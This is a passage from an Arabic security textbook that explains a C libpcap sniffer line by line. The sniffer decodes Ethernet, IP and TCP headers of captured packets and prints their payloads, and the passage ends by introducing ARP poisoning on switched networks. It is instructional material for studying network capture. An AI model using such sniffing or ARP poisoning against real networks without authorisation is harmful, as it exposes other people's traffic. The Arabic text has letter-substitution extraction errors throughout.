..‫ من وجهة نظر أنظمة التشغيل لتفهمه جيد ًا‬Handle ‫دعني ُأعطيك تعريف ال‬
:‫ كام ييل‬Handles ‫ ال‬Michael Sikorski ‫ُيعرف لنا السيد‬

Handles are items that have been opened or created in the OS, such as a window, process,
module, menu, file, and so on. Handles are like pointers in that they refer to an object or memory
location somewhere else. However, unlike pointers, handles cannot be used in arithmetic
operations, and they do not always represent the object’s address.
The only thing you can do with a handle is store it and use it in a later function call to refer to
the same object.

..!‫ذذا جيد‬
‫؟‬..pcap_loop( ) ‫ ُذنا يف ذذه ال‬handle ‫كيف سنستخدم قكرة ذذا ال‬

Security & Attacks


[206]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫حسن ًا‪ ..‬سيكون ذذا ال ‪ handle‬ك ‪ storage‬لن ََضع قيه ال ‪ return value‬القادمة من ال ‪ function‬املسؤولة َعن قتح‬
‫الش َبكة لدينا يف وضعية ال ‪ُ ،promiscuous mode‬ثم نَستخدم ُه الحق ًا ك ‪ Argument‬ل ‪ُ function‬أطرى‪..‬‬
‫كارت َ‬
‫ذي ال ) (‪ .pcap_loop‬ذذا بالضبط ما ُيشري لليه اجلزء ال ‪ Bold‬من تعريف ال ‪ handle‬قوق‪ .‬أليس كذلك؟‪.‬‬
‫عرب عن عدد ال ‪ packets‬التي سنلتقطها‪ ،‬والتي وضعناذا يف املثال‬
‫وبالنسبة لل ‪ Argument‬الثانية‪ ،‬قهو رقم ‪ُ int‬ي ِّ‬
‫السابق ب (‪ ،)3‬الحظ أنه لو تم وضعها ب "‪ "-1‬قنعني بذلك ‪ loop‬لىل أن يتم غلق ال ‪.Sniffer‬‬

‫بخصوص ال ‪ Argument‬الثالثه قهو عبارة عن ‪ pointer‬ل ‪ function‬أطرى‪..‬‬


‫يبدو أن ال ) (‪ pcap_loop‬ستقوم ذنا بعمل ‪ call‬ل ‪ function‬أطرى‪ ..‬سنُسميها ) (‪ caught_packet‬لتقوم بإعطائنا‬
‫معلومات ُمفصلة عن ذذه ال ‪ packet‬التي قامت بالتقاطها ال ) (‪ .pcap_loop‬قهي حتوي تفاصيل ال ‪ packet‬احلالية‬
‫التي تَم َع َمل ‪ capture‬هلا‪َ ،‬ستَستَقبل ‪ Arguments‬عبارة عن ‪ ،pointers‬ذذه ال ‪ Pointers‬تقوم باإلشارة لىل ال‬
‫‪ packet header‬وال ‪.packet itself‬‬

‫ذا ذو شكل ال ) (‪: caught_packet‬‬


‫‪void caught_packet(u_char *args, const struct pcap_pkthdr‬‬
‫;)‪*cap_header, const u_char *packet‬‬

‫ال ‪ Argument‬الثانية ذي ‪ object‬تم اشتقاقه من ال ‪ struct pcap_pkthdr‬وذو ‪ struct‬موجود يف ال ‪.libpcap lib‬‬


‫سنتكلم عنه بعد قليل‪.‬‬
‫واألطري ذو ‪ pointer‬سنتحرك به داطل ال ‪ packet‬ا ُمللتقطة ليقوم بخدمتنا يف عملية ال ‪.Decoding‬‬

‫‪Security & Attacks‬‬


‫]‪[207‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

.. ‫كانت ذذه ُمقدِّ مة طفيفة لتهيئتك الستقبال ذذا الكود الغني با ُملفاجئات‬
ُ ‫سنقوم بتقسيم الكود عىل ثالثة أجزاء كام َذك‬
.‫َرت لك يف البداية‬
‫ما ييل أول جزء من ُه‬
#include <pcap.h>
#include "error.h"
#include "network.h"
void pcap_fatal(const char *, const char *);
void decode_ethernet(const u_char *);
void decode_ip(const u_char *);
u_int decode_tcp(const u_char *);

void caught_packet(u_char *, const struct pcap_pkthdr *, const


u_char *);
int main() {
struct pcap_pkthdr cap_header;
const u_char *packet, *pkt_data;
char errbuf[PCAP_ERRBUF_SIZE];
char *device;
pcap_t *pcap_handle;

device = pcap_lookupdev(errbuf);
if(device == NULL)
pcap_fatal("pcap_lookupdev", errbuf);

printf("Sniffing on device %s\n", device);

pcap_handle = pcap_open_live(device, 4096, 1, 0, errbuf);


if(pcap_handle == NULL)
pcap_fatal("pcap_open_live", errbuf);
pcap_loop(pcap_handle, 3, caught_packet, NULL);

pcap_close(pcap_handle);
}
.. ،function prototypes ‫يظهر يف البداية بعض ال‬

Security & Attacks


[208]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ذل تذكُر تعريف ال ‪ prototype‬؟‪.‬‬


‫يوجد ثالثة ‪ functions‬تم تعريفهم ليقوموا بوظيفة ال ‪ decode‬لل ‪ packets‬ا ُمللتقطة‪ .‬الحظ أن األطرية‪ ،‬اخلاصة بال‬
‫قسرتجع لنا ذذه ال ‪ function‬قيمة ذي‪:‬‬
‫‪ TCP Header‬ليست من نوع ‪ ،void‬بل ستقوم بإرجاع قيمة‪ُ ،‬‬
‫‪.TCP Header Length‬‬

‫ولكن ملاذا نحسب َحجم ُه بأي حال؟‬


‫نحن بحاجة حلساب حجم ُه كي يتسنى لنا يف النهاية معرقة حجم ال ‪ data‬داطل ال ‪ packet‬وذلك بعد طرح ال‬
‫‪ Header Length‬اخلاص بكل ‪ Layer‬قيتبقى لنا حجم ال ‪ data‬الفعيل‪.‬‬
‫ثم يبدأ الربنامج بال ) (‪main‬‬
‫;‪struct pcap_pkthdr cap_header‬‬
‫;‪const u_char *packet, *pkt_data‬‬
‫;]‪char errbuf[PCAP_ERRBUF_SIZE‬‬
‫;‪char *device‬‬
‫;‪pcap_t *pcap_handle‬‬

‫يظهر يف البداية اشتقاق ‪ object‬من ال ‪ Struct‬ا ُملسمى ‪.pcap_pkthdr‬‬

‫ذل تتذكر ذذا ال ‪ Struct‬؟‪.‬‬


‫لقد استخدمناه يف ال ‪ Sniffer‬السابق ‪ ،‬حيث استخدمنا منه ال ‪ element‬األطري ليعرض لنا ماييل‪:‬‬
‫”‪”Length of Captured Packet‬‬

‫ذذا ذو شكله‪:‬‬

‫‪Security & Attacks‬‬


‫]‪[209‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫{ ‪struct pcap_pkthdr‬‬

‫;‪struct timeval ts‬‬ ‫‪/* time stamp */‬‬


‫;‪bpf_u_int32 caplen‬‬ ‫‪/* length of portion present */‬‬
‫;‪bpf_u_int32 len‬‬ ‫‪/* length this packet(off wire) */‬‬
‫;}‬

‫ُثم ُقمنا بتعريف ‪ pointers‬من نوع ‪ unsigned char‬ذم ‪ packet‬و ‪.pkt_data‬‬

‫َسنستخدم ال ‪ pointer‬األول يف عملية الت ََح ُّرك داطل ال ‪ memory block‬اخلاصة بال ‪ .Headers‬ذل تتذكر درس ال‬
‫‪ pointers‬يف الباب األول؟‬
‫لقد حتدثنا عن ذذا األمر بمثال ”!‪. “Hello world‬‬

‫وال ‪ pointer‬الثاين سنستخدمه ك ‪ Argument‬لل ) (‪ Dump‬ل ُيعرب لنا عن ال ‪ row bytes‬ا ُمللتقطة‪ .‬ثم نلتقي بضيفنا‬
‫العزيز ال ‪ Handle‬الذي تكلمنا عنه منذ قليل "‪ ،"Pcap_handle‬البد وأنك تعي وظيفت ُه جيد ًا‪ .‬ثم نقوم بتجهيز ال‬
‫‪ device‬لعملية ال ‪ sniff‬باستخدام ال ) (‪ ،lookup_dev‬لتبدأ بعدذا عملية ال ‪ Looping‬الستقبال ال ‪packets‬‬

‫ولجراء عملية ال ‪ Decoding‬الستخراج التفاصيل‪.‬‬

‫كام تُالحظ أن ال ) (‪ pcap_loop‬ستقوم بعمل ‪ call‬لل ) (‪ ،caught_packet‬ذذه األطرية سيتم استدعاؤذا مع كل‬
‫‪ packet‬تقوم ال ‪ pcap_loop‬بالتقاطها‪.‬‬

‫لىل ذنا ينتهي اجلزء األول‪.‬‬


‫سننتقل لىل اجلزء الثاين‪ ،‬وا ُملتمثِّل يف وظيفة ال ) (‪ caught_packet‬قهي تقوم بدور حموري يف ذذا الكود‪.‬‬

‫‪Security & Attacks‬‬


‫]‪[210‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

void caught_packet(u_char *user_args, const struct pcap_pkthdr


*cap_header, const u_char
*packet) {
int tcp_header_length, total_header_size, pkt_data_len;
u_char *pkt_data;

printf("==== Got a %d byte packet ====\n", cap_header->len);

decode_ethernet(packet);
decode_ip(packet + ETHER_HDR_LEN);
tcp_header_length =
decode_tcp(packet + ETHER_HDR_LEN + sizeof(struct ip_hdr));

total_header_size =
ETHER_HDR_LEN + sizeof(struct ip_hdr) + tcp_header_length;

/*pkt_data points to the dataportion*/


pkt_data = (u_char *)packet + total_header_size;

pkt_data_len = cap_header->len - total_header_size;


if(pkt_data_len > 0) {
printf("\t\t\t%u bytes of packet data\n", pkt_data_len);
dump(pkt_data, pkt_data_len);
} else
printf("\t\t\tNo Packet Data\n");
}
void pcap_fatal(const char *failed_in, const char *errbuf) {
printf("Fatal Error in %s: %s\n", failed_in, errbuf);
exit(1);
}

Security & Attacks


[211]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫يظهر لنا يف بداية الكود ال ) (‪َ ،caught_packet‬يتب ُعها جمموعة من ال ‪ ،Integer variables‬يبدو أهنم ‪Local‬‬

‫مهم داطل ذذه ال ‪ function‬ققط‪.‬‬


‫‪ ،variables‬بمعنى أننا سنستخد ُ‬
‫وللتذكري‪ ..‬نُريد من ذذه ال ‪ function‬أن تَفصل ال ‪ Headers‬عن بعضهم‪ُ ،‬ثم تَفصل ال ‪ data‬أيض ًا عنهم‪ ،‬لتَعرض‬
‫لنا ذذه ال ‪ data‬عن طريق استدعاء ال ) (‪.Dump‬‬

‫نم ّر عىل بقية األسطر‪:‬‬


‫ذيا ل ُ‬
‫;)‪printf("==== Got a %d byte packet ====\n", cap_header->len‬‬

‫سنستخدم ال ) (‪ printf‬ذنا لتطبع لنا عىل الشاشة ‪ ،Length of packet‬الحظ أن ذذا ال ‪ُ length‬يم ِّثل حجم ال‬
‫‪ .data + Headers‬لذا نسيت داللة ذذه اإلشارة ">‪ "-‬يمكنك مراجعة درس ال ‪ Structs‬يف الباب األول‪.‬‬

‫ثم نأيت هلذه املجموعه التي تبدأ ِبذه ال ‪:Function‬‬


‫;)‪decode_ethernet(packet‬‬

‫يتم تنفيذ ذذه ال ‪ function‬داطل ال ) (‪caught_packet‬‬

‫تأطذ ‪ Argument‬عباره عن ‪ Pointer‬لتَقف به عىل موضع ال ‪ Ethernet Header‬داطل ال ‪ Packet‬ا ُمللتَ َق َطة‪.‬‬
‫قهي ُ‬
‫لتقوم بعمل ال ‪ Decoding‬هلذا ال ‪( .Header‬سنُشاذد ذذا ال ‪ Header‬بالتفصيل يف اجلزء الثالث من الكود)‪ .‬ولكن‬
‫دعني أوضح لك كيف تتم عملية اإلنتقال بال ‪ Pointer‬املُسمى ‪ packet‬أيض ًا!‪ ،‬داطل ال ‪ Packet‬ا ُملل َت َق َطة كام َقهم ُت ُه‬
‫أنا!‪..‬‬
‫سأذذب لىل برنامج ال ‪ paint‬وأعود لليك بعد قليل‪..‬‬

‫‪Security & Attacks‬‬


‫]‪[212‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

..!‫ُعدنا‬

‫ ذاذي مر ًة‬.‫ يف بدايتها‬Pointer ‫ قتضع ال‬Packet ‫ حتتاج ألن تقف يف بداية ال‬decode_ethernet( ) ‫كام ترى أن ال‬
:‫أطرى‬
decode_ethernet(packet);

decode_ip( ) ‫نأيت لىل‬


decode_ip(packet+ETHER_HDR_LEN);
.‫ كام ترى قوق‬Argument ‫ وبالتايل يكون ال‬،IP Header ‫ ليكون عند بداية ال‬Pointer ‫ستقوم ذذه بتحريك ال‬

Security & Attacks


[213]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

..TCP Header ‫ لل‬decode ‫وذذه أيض ًا ُتريد عمل‬

.Address of TCP Header ‫ لىل بداية ال‬Pointer ‫قستقوم بتحريك ال‬


tcp_header_length =
decode_tcp(packet + ETHER_HDR_LEN + sizeof(struct ip_hdr));

.‫ بعكس الباقني‬tcp_header_length :‫ بإسم‬int ‫سرتجع لنا قيمة بصيغة‬


ُ ‫ بالذات‬function ‫الحظ أن ذذه ال‬

‫ األسطر التالية‬،Dump( ) ‫ بمفردذا كي يتسنى لنا طباعتها باستخدام ال‬Length of data ‫واآلن نريد معرقة ال‬
:‫ستوضح لنا ذذه العملية‬
total_header_size =
ETHER_HDR_LEN + sizeof(struct ip_hdr) + tcp_header_length;

..Caught_packet( ) ‫ الذي تم تعريفه داطل ال‬Local Variable ‫ ووضعه يف‬Header ‫يتم حساب احلجم الكيل لل‬

َ ‫ُثم ن‬
.‫ الكُيل‬packet ‫َطرح ُه من حجم ال‬

/*pkt_data points to the data portion.*/


pkt_data = (u_char *)packet + total_header_size;

‫ وبالطبع سيكون‬،‫ ا ُمللت َق َطة‬packet ‫ بداطل ال‬data ‫ ل ُيشري لىل بداية ال‬pkt_data ‫ ا ُملسمى‬pointer ‫نقوم ُذنا بتجهيز ال‬
.‫ التعا ُمل معه‬Dump( ) ‫ كي تستطيع ال‬unsigned char ‫من نوع‬

pkt_data_len = cap_header->len - total_header_size;

..!‫" ققط‬length of data" ‫ سيحمل بداطله ال‬local variable ‫ذذا ال‬

Security & Attacks


[214]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ الثانية لل‬Argument ‫وس َيكون ال‬


َ ."length of packet" ‫" من ال‬length of total header" ‫وذلك بعد طرح ال‬
:‫ كام ييل‬Dump( )

if(pkt_data_len > 0) {
printf("\t\t\t%u bytes of packet data\n", pkt_data_len);
dump(pkt_data, pkt_data_len);
} else
printf("\t\t\tNo Packet Data\n");

.Sniffer ‫لىل ذنا نكون انتهينا من توضيح اجلزء الثاين من ذذا ال‬

:‫واآلن جاء دور اجلزء الثالث من الكود‬


:‫ التالية‬functions ‫َس ُيوضح َلنا اإلجراءات التفصيلية التي تقوم ِبا الثالث‬

void decode_ethernet(const u_char *);


void decode_ip(const u_char *);
u_int decode_tcp(const u_char *);

:‫لنُلق نظرة عىل بقية الكود‬


void decode_ethernet(const u_char *header_start) {
int i;
const struct ether_hdr *ethernet_header;
ethernet_header = (const struct ether_hdr *)header_start;
printf("[[ Layer 2 :: Ethernet Header ]]\n");
printf("[ Source: %02x", ethernet_header->ether_src_addr[0]);
for(i=1; i < ETHER_ADDR_LEN; i++)
printf(":%02x", ethernet_header->ether_src_addr[i]);

printf("\tDest: %02x", ethernet_header->ether_dest_addr[0]);


for(i=1; i < ETHER_ADDR_LEN; i++)

Security & Attacks


[215]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

printf(":%02x", ethernet_header->ether_dest_addr[i]);
printf("\tType: %hu ]\n", ethernet_header->ether_type);
}

void decode_ip(const u_char *header_start) {


const struct ip_hdr *ip_header;
ip_header = (const struct ip_hdr *)header_start;
printf("\t(( Layer 3 ::: IP Header ))\n");
printf("\t( Source: %s\t", inet_ntoa(ip_header->ip_src_addr));
printf("Dest: %s )\n", inet_ntoa(ip_header->ip_dest_addr));
printf("\t( Type: %u\t", (u_int) ip_header->ip_type);
printf("ID: %hu\tLength: %hu )\n", ntohs(ip_header->ip_id),
ntohs(ip_header->ip_len));
}

u_int decode_tcp(const u_char *header_start) {


u_int header_size;
const struct tcp_hdr *tcp_header;

tcp_header = (const struct tcp_hdr *)header_start;


header_size = 4 * tcp_header->tcp_offset;

printf("\t\t{{ Layer 4 :::: TCP Header }}\n");


printf("\t\t{ Src Port: %hu\t",
ntohs(tcp_header->tcp_src_port));

printf("Dest Port: %hu }\n", ntohs(tcp_header->tcp_dest_port));


printf("\t\t{ Seq #: %u\t", ntohl(tcp_header->tcp_seq));
printf("Ack #: %u }\n", ntohl(tcp_header->tcp_ack));
printf("\t\t{ Header Size: %u\tFlags: ", header_size);
if(tcp_header->tcp_flags & TCP_FIN)
printf("FIN ");
if(tcp_header->tcp_flags & TCP_SYN)
printf("SYN ");
if(tcp_header->tcp_flags & TCP_RST)
printf("RST ");
if(tcp_header->tcp_flags & TCP_PUSH)
printf("PUSH ");

Security & Attacks


[216]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

if(tcp_header->tcp_flags & TCP_ACK)


printf("ACK ");
if(tcp_header->tcp_flags & TCP_URG)
printf("URG ");
printf(" }\n");

return header_size;
}

decode_ethernet( ) ‫ وذي ال‬،function ‫نبدأ برشح أول‬

void decode_ethernet(const u_char *header_start) {


int i;

ُ
Ethernet ‫ حيث ال‬packet ‫ ُيشري لىل بداية ال‬pointer ‫ وذو‬،Argument ‫ ك‬Packet ‫ ال‬function ‫تأطذ ذذه ال‬

.function ‫ هلذه ال‬local ‫) وذو‬i( ‫ ُثم َعرقنا ُمتغري‬.header

const struct ether_hdr *ethernet_header;

ُ ‫ ل‬struct ether_hdr ‫ من ذذا ال‬object ‫ُثم اشتققنا‬


.struct ‫ التي بداطل ذذا ال‬Elements ‫يأطذ نفس ال‬
‫ ؟‬Struct ‫ذل تذكر ذذا ال‬
:‫س ُأذك ُِّرك به‬
#define ETHER_ADDR_LEN 6
#define ETHER_HDR_LEN 14
struct ether_hdr {
unsigned char ether_dest_addr[ETHER_ADDR_LEN]; //Dest. MAC
unsigned char ether_src_addr[ETHER_ADDR_LEN]; // Source MAC
unsigned short ether_type; // Type of Ethernet packet
};

Security & Attacks


[217]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

..‫لنُكمل الكود‬

ethernet_header = (const struct ether_hdr *)header_start;

‫ داطل ال‬Ethernet header ‫ التي بداطله بالبيانات املوجودة يف ال‬elements ‫ ذذا بأن يمأل ال‬object ‫سنُخرب ُذنا ال‬
.‫ التي تم التقاطها‬packet

printf("[[ Layer 2 :: Ethernet Header ]]\n");

printf(“[ Source: %02x”, ethernet_header->ether_src_addr[0]);


for(i=1; I < ETHER_ADDR_LEN; i++)
printf(“:%02x”, ethernet_header->ether_src_addr[i]);

."Source MAC Address" ‫ بطباعة ال‬printf( ) ‫تقوم ُذنا ال‬

byte ‫ تبدأ بأول‬loop ‫ عن طريق عمل‬MAC ‫ تتم كتابة ال‬،struct ‫ الذي ُي َع ِّرب عنه داطل ال‬element ‫ققد أرشنا لىل ال‬

.‫ وذو األطري‬6 ‫ رقم‬byte ‫وتنتهي بال‬

printf("\tDest: %02x", ethernet_header->ether_dest_addr[0]);


for(i=1; i < ETHER_ADDR_LEN; i++)
printf(":%02x", ethernet_header->ether_dest_addr[i]);
printf("\tType: %hu ]\n", ethernet_header->ether_type);
}

."Destination MAC Address" ‫نُكرر نفس األمر ُذنا أيض ًا لنقوم بطباعة ال‬

.Struct ‫ األطري داطل ال‬element ‫" وذو ال‬Type of packet" ‫ثم آطر سطر سيقوم بطباعة‬

ً ‫سنتكلم قلي‬
..field ‫ال عن ذذا ال‬

Security & Attacks


[218]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

‫وطصوص ًا ال‬
ُ ،MAC Header ‫ نُريد الرتكيز عىل ال‬،Data-Link Layer ‫ يف ال‬Frame ‫الشكل التايل يوضح ال‬
Ether Type

:field ‫ذذا ُملخص ما ُيشري لليه ذذا ال‬


The two-octet EtherType field in an Ethernet frame, preceded by destination and source MAC
addresses, that identifies an upper layer protocol encapsulating the frame data. For example, an
EtherType value of 0x0800 signals that the frame contains an IPv4 datagram. Likewise, an
EtherType of 0x0806 indicates an ARP frame, 0x8100 indicates an IEEE 802.1Q frame

:‫ الثانية‬function ‫بالنسبة لل‬


decode_ip( )
..‫ الذي ُقمنا بإنشائه‬struct ‫ ُيمكنُك للقاء نظرة عىل ال‬.‫ السابقة‬function ‫سنقوم بنفس األمور التي ُقمنا ِبا يف ال‬
.‫ من َقبل‬IP Header ‫اخلاص بال‬
ُ ‫" ل‬struct ip_hdr" ‫ من ال‬ip_header ‫ أيض ًا بإسم‬object ‫ُقمنا بإنشاء‬
‫ الحظ أن ُه‬.‫ اخلاصة به‬elements ‫يأطذ نفس ال‬
‫ التي ُ َحت ِّول َلنا ذذه‬function ‫" استخدمنا ال‬Source and Destination IP Addresses" ‫عندما ُقمنا ب َعرض ال‬
."ASCII Dotted notation" ‫ لىل ال‬Network type ‫العناوين من ال‬

Security & Attacks


[219]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫نأيت هلذه األس ُطر‪:‬‬


‫;)‪printf("\t( Type: %u\t", (u_int) ip_header->ip_type‬‬
‫‪printf("ID: %hu\tLength: %hu )\n", ntohs(ip_header->ip_id),‬‬
‫;))‪ntohs(ip_header->ip_len‬‬

‫يف أول سطر يتم عرض نوع الربوتوكول‪.‬‬


‫ذذا ال ‪ field‬املوجود يف ال ‪ IPv4 Header‬يوضح لنا نوع الربوتوكول ا ُملستَخدم‪ ،‬قمثالً ُيشار لل ‪ TCP‬برقم ‪ ،6‬و‬
‫ُيشار لىل ال ‪ UDP‬برقم ‪ ،17‬و ال ‪ ICMP‬برقم ‪.1‬‬

‫وذكذا‪..‬‬

‫لنُشري لىل ال ‪ Element‬اخلاص بنوع ال ‪ IP‬املوجود داطل ال ‪ُ ،IP Header Structure‬ثم يف‬ ‫استخدمنا الرمز )>‪(-‬‬

‫السطر الثاين نطبع ال ‪ ،ID‬يف احلقيقة ُيستخدَ م ذذا ال ‪ field‬يف حالة َرغبتنا إلرسال ‪ Packet‬كبرية‪ ،‬قيتم تقطيعها لقطع‬
‫‪ packets‬صغرية ولرساهلم‪ ،‬قنستخدم ذذا ال ‪ field‬مع ‪َ field‬‬
‫آطر وذو ال ‪.fragmentation‬‬
‫ُربام َظ َه َر يف نتائج الكود للتأكُد ما لذا كان ُذناك عالقة بني ال ‪ packets‬ا ُمللتقطه ببعضها‪ .‬الحظ أننا استخدمنا يف‬
‫السطر الثاين والثالث ال ‪ function‬التي ُحت ِّول َلنا من ال ‪ network byte order‬لىل ال ‪.Host byte order‬‬

‫أطري ًا يأيت دور ذذه ال ‪:function‬‬


‫وذي ) (‪decode_tcp‬‬
‫{ )‪u_int decode_tcp(const u_char *header_start‬‬
‫;‪u_int header_size‬‬

‫‪Security & Attacks‬‬


‫]‪[220‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ُخيربنا يف البداية أن ال ‪ return type‬اخلاص ِبذه ال ‪ function‬نوعه ‪unsigned integer‬‬

‫وقيمته ستظهر يف آطر سطر يف ذذه ال ‪.. ،function‬ذا ذو‪:‬‬


‫;‪return header_size‬‬

‫ذذا ال ‪ return value‬سيذذب لىل ال "‪.. "tcp_header_length‬س ُأذك ُِّر َك به‪:‬‬


‫= ‪tcp_header_length‬‬
‫;))‪decode_tcp(packet + ETHER_HDR_LEN + sizeof(struct ip_hdr‬‬

‫ُ‬
‫ستأطذ ‪،Argument‬‬ ‫ذذا السطر يعني أن ُه سيحدُ ث ‪ Call‬ل ‪ function‬ذي ال ) (‪،decode_tcp‬‬

‫(ذي ذذا اليشء الطويل الذي بني القوسني)!‪ ،‬لتقوم بحساب وتفكيك ال ‪ ،TCP Header‬ويف النهاية َس ُرتجع َلنا‬
‫قيمة ”‪ “return value‬وذي ال ‪ُ .header_size‬ثم تسري َبقية األُمور عىل ما ُيرام‪ ،‬باستثناء يشء بسيط ُأحب َأن‬
‫ُأوضح ُه لك‪:‬‬

‫تأمل معي ذذا السطر‪:‬‬


‫;‪header_size = 4 * tcp_header->tcp_offset‬‬

‫ماذا نعني به؟‬


‫لن ُه يقول‪4 bytes * offset field :‬‬

‫ذذه ال ‪ 4 bytes‬ذي الرشحية ال َعرضية لل ‪ ،TCP Header‬قكام نعلم أن ال ‪ Header‬يتكون من عدة رشائح‪ ،‬يب ُلغ‬
‫عرض كل رشحية ‪.4 bytes‬‬

‫‪Security & Attacks‬‬


‫]‪[221‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ ذذا بكُل بساطة ما‬.. Header ‫ ذذا حيوي عدد الرشائح ال َعرضيه التي َجرى استخدا ُمها يف ذذا ال‬offset field ‫وال‬
.‫تعنيه ذذه ا ُملعادلة‬
:TCP Header ‫ اخلاصة بال‬RFC ‫ من ال‬field ‫وذذا تعريف هلذا ال‬
Data Offset: 4 bits
The number of 32 bit words in the TCP Header. This indicates where the
data begins. The TCP header (even one including options) is an integral number
of 32 bits long.
."TCP Header Length" ‫ حتديد ال‬field ‫وبالتايل يتم ِبذا ال‬

..‫ واآلن جا َء دور التجربة‬، Sniffer ‫نكون ِبذا قد وصلنا لىل هناية رشح ذذا ال‬
 ‫استعد الستقبال ذذه اللحظة التارخيية‬

reader@hacking:~/booksrc $ gcc -o decode_sniff decode_sniff.c -lpcap


reader@hacking:~/booksrc $ sudo ./decode_sniff
Sniffing on device eth0
==== Got a 75 byte packet ====

Security & Attacks


[222]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

[[ Layer 2 :: Ethernet Header ]]


[ Source: 00:01:29:15:65:b6 Dest: 00:01:6c:eb:1d:50 Type: 8 ]
(( Layer 3 ::: IP Header ))
( Source: 192.168.18.1 Dest: 192.168.18.249 )
( Type: 6 ID: 7755 Length: 61 )
{{ Layer 4 :::: TCP Header }}
{ Src Port: 35602 Dest Port: 7890 }
{ Seq #: 2887045274 Ack #: 3843058889 }
{ Header Size: 32 Flags: PUSH ACK }
9 bytes of packet data
74 65 73 74 69 6e 67 0d 0a | testing..
==== Got a 66 byte packet ====
[[ Layer 2 :: Ethernet Header ]]
[ Source: 00:01:6c:eb:1d:50 Dest: 00:01:29:15:65:b6 Type: 8 ]
(( Layer 3 ::: IP Header ))
( Source: 192.168.18.249 Dest: 192.168.18.1 )
( Type: 6 ID: 15678 Length: 52 )
{{ Layer 4 :::: TCP Header }}
{ Src Port: 7890 Dest Port: 35602 }
{ Seq #: 3843058889 Ack #: 2887045283 }
{ Header Size: 32 Flags: ACK }
No Packet Data
==== Got a 82 byte packet ====
[[ Layer 2 :: Ethernet Header ]]
[ Source: 00:01:29:15:65:b6 Dest: 00:01:6c:eb:1d:50 Type: 8 ]
(( Layer 3 ::: IP Header ))
( Source: 192.168.18.1 Dest: 192.168.18.249 )
( Type: 6 ID: 7756 Length: 68 )
{{ Layer 4 :::: TCP Header }}
{ Src Port: 35602 Dest Port: 7890 }
{ Seq #: 2887045283 Ack #: 3843058889 }
{ Header Size: 32 Flags: PUSH ACK }
16 bytes of packet data
74 68 69 73 20 69 73 20 61 20 74 65 73 74 0d 0a | this is a test..
reader@hacking:~/booksrc $

Security & Attacks


[223]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫‪The conclusion‬‬

‫الحظنا يف املثال السابق كيف تم عمل ‪ Decode‬للطبقات وعرض ال ‪ Headers‬اخلاصة بكل طبقة ثم ال ‪Data‬‬

‫املوجودة داطل ال ‪ packet‬ا ُمللتقطة‪ .‬أي أننا كنا نستقبل ال ‪ data‬من أسفل )‪ (Data-Link Layer‬ألعىل‬
‫)‪ ،(Application Layer‬كُنا يف الكود نحسب طول ال ‪ Header‬اخلاص بكل طبقة ُثم ُن َس ِّلم ال ‪ packet‬لىل الطبقة‬
‫التي تعلوذا‪ ،‬نقوم ِبذا العمل أثناء عملية ال ”‪ .“Decapsulation‬نستمر حتى تتبقى لنا ال ‪ Data‬الفعلية بعد طرح ال‬
‫‪ Length‬اخلاص بجميع ال ‪ Headers‬قنتمكن من عرض حمتويات ال ‪ Headers‬و ال ‪ Data‬عىل الشاشة‪.‬‬
‫ذذا الشكل يوضح لك ذذا األمر‪:‬‬

‫الحظ اجلزء ا ُملظلل بالشكل‪ ،‬والذي ُي ِّ‬


‫عرب عن ال ‪ Data‬وكيف يتم نقلها بني الطبقات‪ ،‬سوا ًء كانت من أسفل ألعىل كام‬
‫يف مثالنا أم العكس!‪.‬‬

‫‪Security & Attacks‬‬


‫]‪[224‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

If we analyze the figure, we see:


 The application layer sends the data (to be transferred to remote destination) to the transport
layer.

 The transport layer puts its header in the beginning and sends this complete packet
(TCP-header + app-data) to the IP layer.

 On the same lines, The IP layer puts its header in front of the data received from TCP
So now the structure of IP datagram becomes (IP-header + TCP-header + app-data).

 This IP datagram is passed to the ethernet layer which on the same lines adds its own header
to IP datagram and then the whole packet is transmitted over network.

On the destination host, the reverse process happens. This means that each layer reads its own
header in the packet and then strips the header so that finally application receives the app-data.

thegeekstuff.com ‫ من موقع‬HIMANSHU ARORA :‫صاحب الصورة والرشح أسفلها‬

"ARP Poisoning" ‫سننطلق اآلن لنَكتَشف قلسفة ال‬

ARP Poisoning Attack

‫ يتبقى لنا بعض األمور التي نُريد نود احلديث‬،Packet Capturing ‫أنت اآلن تفهم العديد من التفاصيل ا ُملتعلقة بال‬
َ
‫ قهذا‬Switch ‫ عىل أحد األجهزة ا ُملتصلة ب‬TCPDump ‫ أو ال‬WireShark ‫ عندما نقوم باستخدام برنامج كال‬.‫عنها‬
‫ لكن لن نتمكن من مراقبة ما تفعل ُه بقية‬.‫ القادم للينا أو الصادر من عندنا‬traffic ‫نتمكن من ُمرا َق َبة ال‬
َ ‫يعني أننا َس‬
.!! Broadcast Domain ‫األجهزة التي َمعنا يف نفس ال‬

Security & Attacks


[225]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ذذه الصورة توضح ما نعنيه‪ ،‬الحظ أن ال ‪ Sniffer‬لديه ‪ visibility‬حمدودة‪:‬‬

